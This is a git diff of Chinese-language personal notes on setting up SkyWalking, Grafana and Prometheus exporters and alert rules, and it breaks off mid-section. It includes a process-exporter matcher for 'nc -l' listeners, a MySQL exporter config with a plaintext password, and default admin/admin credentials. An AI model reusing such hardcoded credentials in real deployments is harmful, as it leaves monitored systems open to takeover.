https://github.com/apache/skywalking/blob/master/docs/en/setup/backend/backend-setup.md config/elasticsearch.yml + ```yaml storage: selector: ${SW_STORAGE:elasticsearch7} # 选择后端存储 @@ -64,10 +79,13 @@ storage: recordDataTTL: ${SW_CORE_RECORD_DATA_TTL:3} # Unit is day metricsDataTTL: ${SW_CORE_METRICS_DATA_TTL:7} # Unit is day ``` + ### 容器安装 - 使用非官方容器/有点问题 -- 参考 -https://github.com/apache/skywalking/blob/master/docker/docker-compose.yml -https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html + +- 参考\ + https://github.com/apache/skywalking/blob/master/docker/docker-compose.yml + https://www.elastic.co/guide/en/elasticsearch/reference/current/docker.html + ```yaml version: '3.5' services: @@ -123,24 +141,27 @@ services: ``` ### yum安装 + https://pkgs.org/search/?q=ecl-skywalkin ## UI与功能 -- 参考 -https://github.com/apache/skywalking/blob/master/docs/en/ui/README.md +- 参考 + https://github.com/apache/skywalking/blob/master/docs/en/ui/README.md ## Telemetry + - 参考 -https://blog.csdn.net/changqing1234/article/details/103669835 + https://blog.csdn.net/changqing1234/article/details/103669835 是一项远程的从物理设备或虚拟设备上高速采集数据的技术。设备通过推模式(Push Mode)周期性的主动向采集器上推送设备的接口流量统计、CPU或内存数据等信息,相对传统拉模式(Pull Mode)的一问一答式交互,提供了更实时更高速的数据采集功能。 ## H2 -- 参考 -https://www.cnblogs.com/cnjavahome/p/8995650.html + +- 参考\ + https://www.cnblogs.com/cnjavahome/p/8995650.html - H2 是一个用 Java 开发的嵌入式数据库,它本身只是一个类库,即只有一个 jar 文件,可以直接嵌入到应用项目中。 - 主要有如下三个用途: - 1. H2可以同应用程序打包在一起发布,这样可以非常方便地存储少量结构化数据。 - 2. 用于单元测试。启动速度快,而且可以关闭持久化功能,每一个用例执行完随即还原到初始状态。 - 3. 作为缓存,即当做内存数据库,作为NoSQL的一个补充。当某些场景下数据模型必须为关系型,可以拿它当Memcached使,作为后端MySQL/Oracle的一个缓冲层,缓存一些不经常变化但需要频繁访问的数据,比如字典表、权限表。 \ No newline at end of file + 1. H2可以同应用程序打包在一起发布,这样可以非常方便地存储少量结构化数据。 + 2. 用于单元测试。启动速度快,而且可以关闭持久化功能,每一个用例执行完随即还原到初始状态。 + 3. 作为缓存,即当做内存数据库,作为NoSQL的一个补充。当某些场景下数据模型必须为关系型,可以拿它当Memcached使,作为后端MySQL/Oracle的一个缓冲层,缓存一些不经常变化但需要频繁访问的数据,比如字典表、权限表。 diff --git a/monitor/Grafana.md b/monitor/Grafana.md index 29d76af..1f5d07a 100644 --- a/monitor/Grafana.md +++ b/monitor/Grafana.md @@ -1,100 +1,121 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] # Grafana + - 参考 - - 官方文档 https://grafana.com/docs/installation/rpm/ + - 官方文档 https://grafana.com/docs/installation/rpm/ + ## 安装Grafana + - 默认使用sqlite3 数据库 + - 配置文件 /etc/grafana/grafana.ini - 默认账户密码是 admin/admin + - 默认web端口是 3000 + ### 通过包管理软件安装 + 1. Centos7安装Grafana - ```bash - echo '[grafana] - name=grafana - baseurl=https://packages.grafana.com/oss/rpm - repo_gpgcheck=1 - enabled=1 - gpgcheck=1 - gpgkey=https://packages.grafana.com/gpg.key - sslverify=1 - sslcacert=/etc/pki/tls/certs/ca-bundle.crt' > /etc/yum.repos.d/grafana.repo - yum install grafana -y - - # 或者 - wget https://dl.grafana.com/oss/release/grafana-7.3.1-1.x86_64.rpm - sudo yum install grafana-7.3.1-1.x86_64.rpm - ``` + + ```bash + echo '[grafana] + name=grafana + baseurl=https://packages.grafana.com/oss/rpm + repo_gpgcheck=1 + enabled=1 + gpgcheck=1 + gpgkey=https://packages.grafana.com/gpg.key + sslverify=1 + sslcacert=/etc/pki/tls/certs/ca-bundle.crt' > /etc/yum.repos.d/grafana.repo + yum install grafana -y + + # 或者 + wget https://dl.grafana.com/oss/release/grafana-7.3.1-1.x86_64.rpm + sudo yum install grafana-7.3.1-1.x86_64.rpm + ``` 2. Ubuntu16安装Grafana - ```bash - wget https://s3-us-west-2.amazonaws.com/grafana-releases/release/grafana_4.6.2_amd64.deb - dpkg -i grafana_4.6.2_amd64.deb - ``` + + ```bash + wget https://s3-us-west-2.amazonaws.com/grafana-releases/release/grafana_4.6.2_amd64.deb + dpkg -i grafana_4.6.2_amd64.deb + ``` 3. 启动服务 - ```bash - systemctl start grafana-server - systemctl enable grafana-server - # 默认账户密码是 admin/admin - # 默认web端口是 3000 - ``` + + ```bash + systemctl start grafana-server + systemctl enable grafana-server + # 默认账户密码是 admin/admin + # 默认web端口是 3000 + ``` + ### 通过二进制安装 + 1. 安装 - ```shell - wget https://dl.grafana.com/oss/release/grafana-7.3.1.linux-amd64.tar.gz - tar -zxvf grafana-7.3.1.linux-amd64.tar.gz - mkdir -p /opt/ - cd /opt/ - mv grafana-7.3.1 grafana - - # nohup /opt/grafana/bin/grafana-server -config /opt/grafana/conf/defaults.ini -homepath /opt/grafana > /opt/grafana/grafana.log 2>&1 & - ``` + ```shell + wget https://dl.grafana.com/oss/release/grafana-7.3.1.linux-amd64.tar.gz + tar -zxvf grafana-7.3.1.linux-amd64.tar.gz + mkdir -p /opt/ + cd /opt/ + mv grafana-7.3.1 grafana + + # nohup /opt/grafana/bin/grafana-server -config /opt/grafana/conf/defaults.ini -homepath /opt/grafana > /opt/grafana/grafana.log 2>&1 & + ``` 2. 服务化程序 - - vim /usr/lib/systemd/system/grafana-server.service - ```conf - [Unit] - Description=Grafana instance - Documentation=http://docs.grafana.org - Wants=network-online.target - After=network-online.target - After=postgresql.service mariadb.service mysqld.service - - [Service] - # EnvironmentFile=/etc/sysconfig/grafana-server # 选定要加载的环境变量文件 - User=grafana - Group=grafana - Type=notify - Restart=on-failure - WorkingDirectory=/opt/grafana - RuntimeDirectory=grafana - RuntimeDirectoryMode=0750 - - Environment="CONFFILE=/opt/grafana/conf/defaults.ini test=/tmp" - ExecStart=/opt/grafana/bin/grafana-server --config $CONFFILE - LimitNOFILE=10000 - TimeoutStopSec=20 - - [Install] - WantedBy=multi-user.target - - ``` + - vim /usr/lib/systemd/system/grafana-server.service + ```conf + [Unit] + Description=Grafana instance + Documentation=http://docs.grafana.org + Wants=network-online.target + After=network-online.target + After=postgresql.service mariadb.service mysqld.service + + [Service] + # EnvironmentFile=/etc/sysconfig/grafana-server # 选定要加载的环境变量文件 + User=grafana + Group=grafana + Type=notify + Restart=on-failure + WorkingDirectory=/opt/grafana + RuntimeDirectory=grafana + RuntimeDirectoryMode=0750 + + Environment="CONFFILE=/opt/grafana/conf/defaults.ini test=/tmp" + ExecStart=/opt/grafana/bin/grafana-server --config $CONFFILE + LimitNOFILE=10000 + TimeoutStopSec=20 + + [Install] + WantedBy=multi-user.target + + ``` ### 错误 + #### 错误一 + - Garafana 日志 - ```log - 12月 23 00:42:01 VM-16-2-centos grafana-server[16806]: t=2021-12-23T00:42:01+0800 lvl=info msg="Request Completed" logger=context userId=1 orgId=1 uname=admin method=GET path=/api/live/ws status=400 remote_addr=127.0.0.1 time_ms=1 size=12 referer= - ``` + ```log + 12月 23 00:42:01 VM-16-2-centos grafana-server[16806]: t=2021-12-23T00:42:01+0800 lvl=info msg="Request Completed" logger=context userId=1 orgId=1 uname=admin method=GET path=/api/live/ws status=400 remote_addr=127.0.0.1 time_ms=1 size=12 referer= + ``` - web界面,开发者模式 Console - ```log - 633.fab5d6bbd438adca1160.js:sourcemap:2 WebSocket connection to 'ws://grafana.garys.top/api/live/ws' failed: - ``` + ```log + 633.fab5d6bbd438adca1160.js:sourcemap:2 WebSocket connection to 'ws://grafana.garys.top/api/live/ws' failed: + ``` - 解决办法 https://grafana.com/docs/grafana/latest/live/configure-grafana-live/#websocket-and-proxies ## 使用 + ### 插件 + ```bash # 查找官网所有可用插件 grafana-cli plugins list-remote @@ -120,51 +141,56 @@ systemctl restart grafana-server ``` #### 数据源 -1. 配置zabbix作为Grafana的数据源 - ```text - http://XXX.XXX.XXX.XXX/zabbix/api_jsonrpc.php - http://XXX.XXX.XXX.XXX/api_jsonrpc.php - ``` +1. 配置zabbix作为Grafana的数据源 + ```text + http://XXX.XXX.XXX.XXX/zabbix/api_jsonrpc.php + http://XXX.XXX.XXX.XXX/api_jsonrpc.php + ``` ## dashboard + ### 常用的模版 + ### prometheus + - mysql - https://grafana.com/grafana/dashboards/6239 - https://grafana.com/dashboards/7362 + https://grafana.com/grafana/dashboards/6239 + https://grafana.com/dashboards/7362 - node - https://grafana.com/grafana/dashboards/1860 Node Exporter Full - https://grafana.com/grafana/dashboards/11074 Node Exporter for Prometheus Dashboard English Version UPDATE 1102 + https://grafana.com/grafana/dashboards/1860 Node Exporter Full + https://grafana.com/grafana/dashboards/11074 Node Exporter for Prometheus Dashboard English Version UPDATE 1102 - docker/pod - 395 - 893 + 395 + 893 - 集群资源监控:9276 - kube-state-metrics k8s资源对象 - https://grafana.com/grafana/dashboards/13332 + https://grafana.com/grafana/dashboards/13332 ## Grafana As Code + - 使用代码生成管理grafana 的 dashboard -https://zhuanlan.zhihu.com/p/61660797 -http://dockone.io/article/10655 -https://grafana.com/blog/2020/02/26/how-to-configure-grafana-as-code/ -https://github.com/alanpeng/grafonnet-lib -https://github.com/prometheus-operator/kube-prometheus/blob/master/docs/developing-prometheus-rules-and-grafana-dashboards.md + https://zhuanlan.zhihu.com/p/61660797 + http://dockone.io/article/10655 + https://grafana.com/blog/2020/02/26/how-to-configure-grafana-as-code/ + https://github.com/alanpeng/grafonnet-lib + https://github.com/prometheus-operator/kube-prometheus/blob/master/docs/developing-prometheus-rules-and-grafana-dashboards.md - json-model -https://grafana.com/docs/grafana/latest/dashboards/json-model/ - + https://grafana.com/docs/grafana/latest/dashboards/json-model/ ## grafana内置函数 + https://graphite.readthedocs.io/en/latest/functions.html asPercent(#B, sumSeries(#A) ## TO-DO + ``` 模板变量的隐藏玩法 模板变量甚至可以用在 grafana 的跳转中,这是连文档中都没有提及的一个隐藏玩法,在 Link 或者 Dashboard 里 URL 中任意位置填入 $name ,那么在用户点击该链接跳转时 grafana 同样会替换该变量来让你跳到正确的链接去。这和其他系统整合起来能够做到很不错的用户体验,例如跳转到 kibana 那边去查询日志。 @@ -172,4 +198,4 @@ asPercent(#B, sumSeries(#A) kibana 和 grafana 的时间范围格式并不一样,可以使用这篇文章 中的 chrome 插件来解决。 另外,Custom 模板变量可以允许用户在变量下拉框中自行输入值,也是一个经常用到的值,配合模板变量会和当前链接中的 querystring 部分的var-${name} 同步,配合起来可以轻松地从第三方系统中跳转到正确的 grafana 面板中来 -``` \ No newline at end of file +``` diff --git a/monitor/Prometheus/exporter.md b/monitor/Prometheus/exporter.md index 5c61694..a661c23 100644 --- a/monitor/Prometheus/exporter.md +++ b/monitor/Prometheus/exporter.md @@ -1,27 +1,37 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ## Exporter + ### mysqld_exporter + https://github.com/prometheus/mysqld_exporter 1. 在mysql里创建用户 -CREATE USER 'exporter'@'localhost' IDENTIFIED BY 'password'; -GRANT PROCESS, REPLICATION CLIENT, SELECT ON *.* TO 'exporter'@'localhost' WITH MAX_USER_CONNECTIONS 3; -commit; -FLUSH PRIVILEGES; + CREATE USER 'exporter'@'localhost' IDENTIFIED BY 'password'; + GRANT PROCESS, REPLICATION CLIENT, SELECT ON *.* TO 'exporter'@'localhost' WITH MAX_USER_CONNECTIONS 3; + commit; + FLUSH PRIVILEGES; 2. 写mysqld_exporter的配置文件 vim .my.cnf -[client] -user=exporter -password=xieshigang -socket=/opt/mysql/datadir/mysql.sock + [client] + user=exporter + password=xieshigang + socket=/opt/mysql/datadir/mysql.sock 3. 启动 -./mysqld_exporter --config.my-cnf=.my.cnf -/opt/mysqld_exporter/mysqld_exporter --config.my-cnf=/opt/mysqld_exporter/.my.cnf + ./mysqld_exporter --config.my-cnf=.my.cnf + /opt/mysqld_exporter/mysqld_exporter --config.my-cnf=/opt/mysqld_exporter/.my.cnf ### node-exporter + - 参考 https://github.com/prometheus/node_exporter - 主要通过读取linux的/proc以及/sys目录下的虚拟系统文件获取操作系统运行状态信息。 - vim docker-compose.yaml + ```yaml version: '3.6' services: @@ -44,49 +54,61 @@ services: ``` ### mysql exporter + 通过读取数据库监控表获取mysql的性能数据 ### kube-state-metrics + - 安装 https://github.com/kubernetes/kube-state-metrics/tree/master/examples/standard -基于client-go开发,轮询Kubernetes API,并将Kubernetes的结构化信息转换为metrics。 + 基于client-go开发,轮询Kubernetes API,并将Kubernetes的结构化信息转换为metrics。 1. 监听 API Server 资源对象的 add、delete、update 事件,获取资源对象的状态指标。 -1. kube-state-metric 利用 client-go 初始化所有已经存在的资源对象,确保没有任何遗漏 -2. kube-state-metrics 当前不会输出 metadata 信息(如 help 和 description) -3. 缓存实现是基于 golang 的 map,解决并发读问题当期是用了一个简单的互斥锁,可以解决问题,后续会考虑golang 的 sync.Map 安全 map。 -4. kube-state-metrics 通过比较 resource version 来保证 event 的顺序 -5. kube-state-metrics 并不保证包含所有资源 -4. 超过100节点的集群资源消耗 2MiB memory per node 0.001 cores per node +2. kube-state-metric 利用 client-go 初始化所有已经存在的资源对象,确保没有任何遗漏 + +3. kube-state-metrics 当前不会输出 metadata 信息(如 help 和 description) + +4. 缓存实现是基于 golang 的 map,解决并发读问题当期是用了一个简单的互斥锁,可以解决问题,后续会考虑golang 的 sync.Map 安全 map。 + +5. kube-state-metrics 通过比较 resource version 来保证 event 的顺序 -2. KubeHpaMaxedOut -kube_hpa_status_current_replicas{job="kube-state-metrics"} - == kube_hpa_spec_max_replicas{job="kube-state-metrics"} +6. kube-state-metrics 并不保证包含所有资源 + +7. 超过100节点的集群资源消耗 2MiB memory per node 0.001 cores per node + +8. KubeHpaMaxedOut + kube_hpa_status_current_replicas{job="kube-state-metrics"} + == kube_hpa_spec_max_replicas{job="kube-state-metrics"} #### 待探索 + kube-state-metric 有一个很重要的使用场景,就是和 cAdvisor 指标组合,原始的 cAdvisor 中只有 Pod 信息,不知道属于哪个 Deployment 或者 sts,但是和 kube-state-metric 中的 kube_pod_info 做 join 查询之后就可以显示出来,kube-state-metric 的元数据指标,在扩展 cAdvisor 的 label 中起到了很多作用,prometheus-operator 的很多 record rule 就使用了 kube-state-metric 做组合查询。 kube-state-metric 中也可以展示 Pod 的 label 信息,可以在拿到 cAdvisor 数据后更方便地做 group by,如按照 Pod 的运行环境分类。但是 kube-state-metric 不暴露 Pod 的 annotation,原因是下面会提到的高基数问题,即 annotation 的内容太多,不适合作为指标暴露。 ### cAdvisor + - https://zhuanlan.zhihu.com/p/96597715 - linux管理进程数据的地方在/proc,其中存放了每个进程的cpu、mem、net、io、cgroup等各种信息,所有的监控数据都基于/proc获取 + #### 说明 + 1. 目前cAdvisor集成到了kubelet组件内,可以在kubernetes集群中每个启动了kubelet的节点使用cAdvisor提供的metrics接口获取该节点所有容器相关的性能指标数据。1.7.3版本以前,cadvisor的metrics数据集成在kubelet的metrics中,在1.7.3以后版本中cadvisor的metrics被从kubelet的metrics独立出来了,在prometheus采集的时候变成两个scrape的job。 2. kubelet中的cadvisor是没有对外开放4194端口,只能通过apiserver提供的api做代理获取监控指标. 3. 从apiserver访问cadvisor的地址: -cAdvisor的metrics地址: /api/v1/nodes/[节点名称]/proxy/metrics/cadvisor -kubelet的metrics地址:/api/v1/nodes/[节点名称]/proxy/metrics + cAdvisor的metrics地址: /api/v1/nodes/[节点名称]/proxy/metrics/cadvisor + kubelet的metrics地址:/api/v1/nodes/[节点名称]/proxy/metrics 4. 直接从各个node的kubelet访问cadvisor的地址: -cAdvisor的metrics地址: node_ip:10250/metrics/cadvisor -kubelet的metrics地址:node_ip:10250/metrics + cAdvisor的metrics地址: node_ip:10250/metrics/cadvisor + kubelet的metrics地址:node_ip:10250/metrics 5. 启动参数 - - https://github.com/google/cadvisor/blob/master/deploy/kubernetes/overlays/examples/cadvisor-args.yaml - - https://github.com/google/cadvisor/blob/release-v0.39/docs/runtime_options.md + +- https://github.com/google/cadvisor/blob/master/deploy/kubernetes/overlays/examples/cadvisor-args.yaml +- https://github.com/google/cadvisor/blob/release-v0.39/docs/runtime_options.md ```yaml - job_name: k8s-cadvisor-prometheus @@ -122,18 +144,19 @@ kubelet的metrics地址:node_ip:10250/metrics ``` #### metrics + 1. cpu + - 每个pod一分钟内每秒钟cpu的使用情况 -sum(rate(container_cpu_usage_seconds_total{image!=""}[1m])) by (pod_name, namespace) + sum(rate(container_cpu_usage_seconds_total{image!=""}[1m])) by (pod_name, namespace) - 每个pod一分钟内每秒钟cpu的使用率(使用的/limie的) -sum(rate(container_cpu_usage_seconds_total{image!=""}[1m])) by (pod_name, namespace) / (sum(container_spec_cpu_quota{image!=""}/100000) by (pod_name, namespace)) * 100 + sum(rate(container_cpu_usage_seconds_total{image!=""}[1m])) by (pod_name, namespace) / (sum(container_spec_cpu_quota{image!=""}/100000) by (pod_name, namespace)) * 100 2. POD的文件系统使用量 -sum(container_fs_usage_bytes{image!="",container!="POD",container!=""}) by(pod, namespace) / 1024 / 1024 / 1024 + sum(container_fs_usage_bytes{image!="",container!="POD",container!=""}) by(pod, namespace) / 1024 / 1024 / 1024 3. memory -container_memory_rss: RSS内存,即常驻内存集(Resident Set Size),是分配给进程使用实际物理内存,而不是磁盘上缓存的虚拟内存。RSS内存包括所有分配的栈内存和堆内存,以及加载到物理内存中的共享库占用的内存空间,但不包括进入交换分区的内存。 - + container_memory_rss: RSS内存,即常驻内存集(Resident Set Size),是分配给进程使用实际物理内存,而不是磁盘上缓存的虚拟内存。RSS内存包括所有分配的栈内存和堆内存,以及加载到物理内存中的共享库占用的内存空间,但不包括进入交换分区的内存。 container_memory_max_usage_bytes(最大可用内存) > container_memory_usage_bytes(已经申请的内存+工作集使用的内存) > @@ -141,23 +164,29 @@ container_memory_working_set_bytes(工作集内存) > container_memory_rss(常驻内存集) - Pod 内存使用了多少M -sum(container_memory_rss{image!=""}) by(pod_name, namespace)/1024/1024 + sum(container_memory_rss{image!=""}) by(pod_name, namespace)/1024/1024 - Pod 内存使用率 -sum(container_memory_rss{image!=""}) by(pod_name, namespace) / sum(container_spec_memory_limit_bytes{image!=""}) by(pod_name, namespace) * 100 != +inf + sum(container_memory_rss{image!=""}) by(pod_name, namespace) / sum(container_spec_memory_limit_bytes{image!=""}) by(pod_name, namespace) * 100 != +inf 4. traefik + - 每个pod每分钟发送的流量 sum(rate(container_network_transmit_bytes_total{name=~".+"}[1m])) by (name) - 每个pod每分钟接收的流量 -sum(rate(container_network_receive_bytes_total{name=~".+"}[1m])) by (name) + sum(rate(container_network_receive_bytes_total{name=~".+"}[1m])) by (name) ### blackbox-exporter + #### 基本 + - https://github.com/prometheus/blackbox_exporter curl localhost:9115/probe?target=prometheus.io&module=http_2xx + #### docker 安装 + vim docker-compose.yaml + ```yaml version: '3' services: @@ -171,7 +200,9 @@ services: volumes: - ./blackbox.yml:/etc/blackbox_exporter/config.yml ``` + vim blackbox.yml + ```yaml modules: http_maxwell: @@ -217,8 +248,11 @@ modules: prober: icmp ``` + #### k8s + 1. service + ```yaml # service http_probe #prometheus.io/app-info-*开头的注解的label将被替换,label名只保留*部分 @@ -237,7 +271,9 @@ prometheus.io/scrape: "true" #以前的配置中需要,目前不需要 prometheus.io/tcp-probe: "true" prometheus.io/tcp-probe-port: "80" ``` + 2. endpoint + ```yaml # endpoints http_probe #prometheus.io/app-info-*开头的注解的label将被替换,label名只保留*部分 @@ -258,7 +294,9 @@ prometheus.io/pod-tcp-probe: "true" prometheus.io/pod-tcp-probe-port: "80" ``` + 3. icmp + ```yaml # endpoints icmp probe prometheus.io/pod-icmp-probe: "true" @@ -267,14 +305,15 @@ prometheus.io/pod-icmp-probe: "true" service不支持icmp ping ``` - ### 一 process-exporter + 1. 下载地址 -https://github.com/ncabatoff/process-exporter/releases/download/v0.5.0/process-exporter-0.5.0.linux-amd64.tar.gz + https://github.com/ncabatoff/process-exporter/releases/download/v0.5.0/process-exporter-0.5.0.linux-amd64.tar.gz -tar xzvf process-exporter-0.5.0.linux-amd64.tar.gz && mv process-exporter-0.5.0.linux-amd64 process-exporter +tar xzvf process-exporter-0.5.0.linux-amd64.tar.gz && mv process-exporter-0.5.0.linux-amd64 process-exporter vim /lib/systemd/system/process_exporter.service + ```conf [Unit] Description=Prometheus exporter for processors metrics, written in Go with pluggable metric collectors. @@ -293,21 +332,25 @@ WantedBy=multi-user.target ``` vim index.yaml + ```conf process_names: - name: "{{.Matches}}" cmdline: - 'nc -l' ``` + ### 二 ceph 监控 + 1. 开启ceph-mgr的prometheus模块 -ceph mgr module enable prometheus -ceph mgr module ls -2. + ceph mgr module enable prometheus + ceph mgr module ls +2. + ceph节点上的exporter功能会收集信息整理为prometheus格式 - ### minoi监控 + metrics_path: /minio/prometheus/metrics k8s: minio的serice通过注解将指标暴露给 prometheus -https://docs.min.io/docs/how-to-monitor-minio-using-prometheus.html \ No newline at end of file +https://docs.min.io/docs/how-to-monitor-minio-using-prometheus.html diff --git a/monitor/Prometheus/k8s-install-prometheus/kunernets-yaml/README.md b/monitor/Prometheus/k8s-install-prometheus/kunernets-yaml/README.md index a0a3e25..15ce679 100644 --- a/monitor/Prometheus/k8s-install-prometheus/kunernets-yaml/README.md +++ b/monitor/Prometheus/k8s-install-prometheus/kunernets-yaml/README.md @@ -1,3 +1,9 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + # kuernetes集群内部监控部署 ## prometheus server部署 @@ -52,7 +58,7 @@ 以前的标签都不规范,namespace在不同项目中的标签都不一致 -- k8s外prometheus监控k8s内prometheus需打k8s_cluster标签,值是prometheus的__address__ +- k8s外prometheus监控k8s内prometheus需打k8s_cluster标签,值是prometheus的\_\_address\_\_ - 对kubernetes自动发现的service,pod,endpoint监控打上namespace的标签,标签名为kubernetes_namespace @@ -60,7 +66,6 @@ - 对kubernetes自动发现的pod,endpoint监控打上pod的标签,标签名为pod_name - ## node-exporter部署 node-exporter用于监控k8s节点的宿主机状态,prometheus server将会通过服务发现自动发现并采集node-exporter的数据 @@ -78,7 +83,6 @@ blackbox-exporter是用于探测service或ednpoints的http或tcp进行探活的e service中需添加注解,需添加的注解请见[service-annotations.example](exporters/blackbox-exporter/kubernetes-yaml/service-annotations.example) - ```shell # kubectl apply -f exporters/blackbox-exporter/kubernetes-yaml/blackbox-configmap.yml ..... @@ -171,7 +175,6 @@ metadata: - [mysql_监控](./exporters/mysqld-exporter/README.md) - # 告警分级 对告警危害进行分级可以更规范化,更有效,更及时的处理告警,根据不同等级进行不同响应度的处理 @@ -186,10 +189,6 @@ metadata: # 告警的静默 -添加静默规则目前只能登陆alertmanager网页进行操作,点击`Silence``New Silence`按钮进行静默规则的编辑及添加 +添加静默规则目前只能登陆alertmanager网页进行操作,点击``` Silence``New Silence ```按钮进行静默规则的编辑及添加 silence将通过label的匹配去匹配对应的告警,altermanager将不会发送这些被静默的告警消息 - - - - diff --git a/monitor/Prometheus/k8s-install-prometheus/promethus-operator.md b/monitor/Prometheus/k8s-install-prometheus/promethus-operator.md index 43c671a..9af8e11 100644 --- a/monitor/Prometheus/k8s-install-prometheus/promethus-operator.md +++ b/monitor/Prometheus/k8s-install-prometheus/promethus-operator.md @@ -1,6 +1,11 @@ -1. 通过开源项目部署prometheus -https://github.com/prometheus-operator/prometheus-operator +--- +created_date: 2020-11-16 +--- + +[TOC] +1. 通过开源项目部署prometheus + https://github.com/prometheus-operator/prometheus-operator - promethus-operator可以通过serviceMonitor 自动识别带有某些 label 的service ,并从这些service 获取数据。 -- serviceMonitor 也是由promethus-operator 自动发现的。 \ No newline at end of file +- serviceMonitor 也是由promethus-operator 自动发现的。 diff --git a/monitor/Prometheus/long-store.md b/monitor/Prometheus/long-store.md index 4149094..afe8b1f 100644 --- a/monitor/Prometheus/long-store.md +++ b/monitor/Prometheus/long-store.md @@ -1,6 +1,15 @@ +--- +created_date: 2021-02-06 +--- + +[TOC] + ## 长期存储 + - 参考 - - https://blog.csdn.net/alex_yangchuansheng/article/details/108271368 -- VictoriaMetrics https://github.com/VictoriaMetrics/VictoriaMetrics -- Thanos https://github.com/thanos-io/thanos \ No newline at end of file + - https://blog.csdn.net/alex_yangchuansheng/article/details/108271368 + +- VictoriaMetrics https://github.com/VictoriaMetrics/VictoriaMetrics + +- Thanos https://github.com/thanos-io/thanos diff --git a/monitor/Prometheus/prometheus-alert-rule.md b/monitor/Prometheus/prometheus-alert-rule.md index 739f672..17dfabc 100644 --- a/monitor/Prometheus/prometheus-alert-rule.md +++ b/monitor/Prometheus/prometheus-alert-rule.md @@ -1,16 +1,27 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ## 配置 -- 参考文档 + +- 参考文档 - 配置 -https://prometheus.io/docs/prometheus/latest/configuration/alerting_rules/ -https://yunlzheng.gitbook.io/prometheus-book/parti-prometheus-ji-chu/alert/prometheus-alert-rule + https://prometheus.io/docs/prometheus/latest/configuration/alerting_rules/ + https://yunlzheng.gitbook.io/prometheus-book/parti-prometheus-ji-chu/alert/prometheus-alert-rule + 1. 全局配置 + ```conf rule_files: - # 告警规则文件的位置 global: evaluation_interval: 1m # 默认情况下Prometheus会每分钟对这些告警规则进行计算,如果想定义自己的告警计算周期,则可以通过evaluation_interval来覆盖默认的计算周期 ``` + 2. 示范 + ```yaml groups: - name: example1 @@ -35,20 +46,26 @@ groups: annotations: summary: High request latency ``` + {{ $labels.job }} :获取实例中指定标签的值 {{ $value }} :获取当前PromQL表达式计算的样本值。 3. 告警值的存储 -同时对于已经pending或者firing的告警,Prometheus也会将它们存储到时间序列ALERTS{}中。 -样本值为1表示当前告警处于活动状态(pending或者firing),当告警从活动状态转换为非活动状态时,样本值则为0。 + 同时对于已经pending或者firing的告警,Prometheus也会将它们存储到时间序列ALERTS{}中。 + 样本值为1表示当前告警处于活动状态(pending或者firing),当告警从活动状态转换为非活动状态时,样本值则为0。 + ```查询 ALERTS{alertname="", alertstate="pending|firing", } ``` + ## 告警等级 + emergency critical warning + ## blackbox_rules + ```conf groups: - name: '探活失败' @@ -73,9 +90,11 @@ groups: ``` ## kube-state-metrics + - 参考文档 -https://kubernetes.io/docs/concepts/architecture/nodes/ -https://github.com/kubernetes/kube-state-metrics/tree/v2.0.0-alpha.2/docs + https://kubernetes.io/docs/concepts/architecture/nodes/ + https://github.com/kubernetes/kube-state-metrics/tree/v2.0.0-alpha.2/docs + ```conf groups: - name: NodesStatusException @@ -145,4 +164,3 @@ groups: kube_pod_container_status_terminated_reason reason= ``` - diff --git a/monitor/Prometheus/prometheus-config.md b/monitor/Prometheus/prometheus-config.md index 1db6d9d..9aebf2f 100644 --- a/monitor/Prometheus/prometheus-config.md +++ b/monitor/Prometheus/prometheus-config.md @@ -1,5 +1,13 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ### prometheus配置 + - https://prometheus.io/docs/prometheus/latest/configuration/configuration/ + ```yaml prometheus.yaml global: scrape_interval: 15s # default = 1m. 抓取时间间隔 @@ -90,7 +98,9 @@ scrape_configs: target_label: k8s_cluster replacement: $1 ``` -*.rules + +\*.rules + ```yaml groups: - name: new expression # 构建一条表达式 @@ -110,7 +120,9 @@ groups: ``` ### Alertmanager配置 + - https://prometheus.io/docs/alerting/configuration/ + ```yaml alertmanager.yaml # vi alertmanager.yml global: @@ -151,4 +163,4 @@ inhibit_rules: target_match: severity: critical equal: ['node'] # 标签名所对应的标签值相同则抑制 -``` \ No newline at end of file +``` diff --git a/monitor/Prometheus/prometheus-install.md b/monitor/Prometheus/prometheus-install.md index 7144e3d..e54d5cc 100644 --- a/monitor/Prometheus/prometheus-install.md +++ b/monitor/Prometheus/prometheus-install.md @@ -1,79 +1,96 @@ +--- +created_date: 2020-11-16 +--- + [TOC] + - 需要安装的组件 - 1. Prometheus server - 2. PushGateway - 3. Alertmanager - 4. Prometheus-webhook-dingtalk + 1. Prometheus server + 2. PushGateway + 3. Alertmanager + 4. Prometheus-webhook-dingtalk - 全是基于go语言编写完成的组件,下载解压缩tar包即可启动使用 + ## 安装 + ### 一 Prometheus Server + 1. 下载安装 - https://github.com/prometheus/prometheus/releases/download/v2.14.0/prometheus-2.14.0.linux-amd64.tar.gz 老版本 - https://github.com/prometheus/prometheus/releases/download/v2.17.2/prometheus-2.17.2.linux-amd64.tar.gz 新版本 + https://github.com/prometheus/prometheus/releases/download/v2.14.0/prometheus-2.14.0.linux-amd64.tar.gz 老版本 + https://github.com/prometheus/prometheus/releases/download/v2.17.2/prometheus-2.17.2.linux-amd64.tar.gz 新版本 2. 启动 - ./prometheus --config.file=./prometheus.yml --web.enable-lifecycle --web.external-url=http://0.0.0.0:9090 - --web.enable-lifecycle 开启配置文件热加载,默认是关闭的 - --config.file=./prometheus.yml 指定配置文件 - --storage.tsdb.path 指定时序数据库的存储路径 - --web.external-url 指定暴露的IP端口号 -​ --storage.tsdb.retention.time 指定存储天数(默认15天) - --web.enable-admin-api 开启对TSDB执行删除操作的权限 - --rules.alert.resend-delay=300s 指定告警重复发送的时间 + ./prometheus --config.file=./prometheus.yml --web.enable-lifecycle --web.external-url=http://0.0.0.0:9090 + --web.enable-lifecycle 开启配置文件热加载,默认是关闭的 + --config.file=./prometheus.yml 指定配置文件 + --storage.tsdb.path 指定时序数据库的存储路径 + --web.external-url 指定暴露的IP端口号 + ​ --storage.tsdb.retention.time 指定存储天数(默认15天) + --web.enable-admin-api 开启对TSDB执行删除操作的权限 + --rules.alert.resend-delay=300s 指定告警重复发送的时间 + 3. web端 -http://localhost:9090/ + http://localhost:9090/ ### 二 PushGateway + - 自定义脚本采集到的数据推送到PushGateway,Prometheus服务端再去拉取PushGateway上的数据。 + 1. 下载安装 - 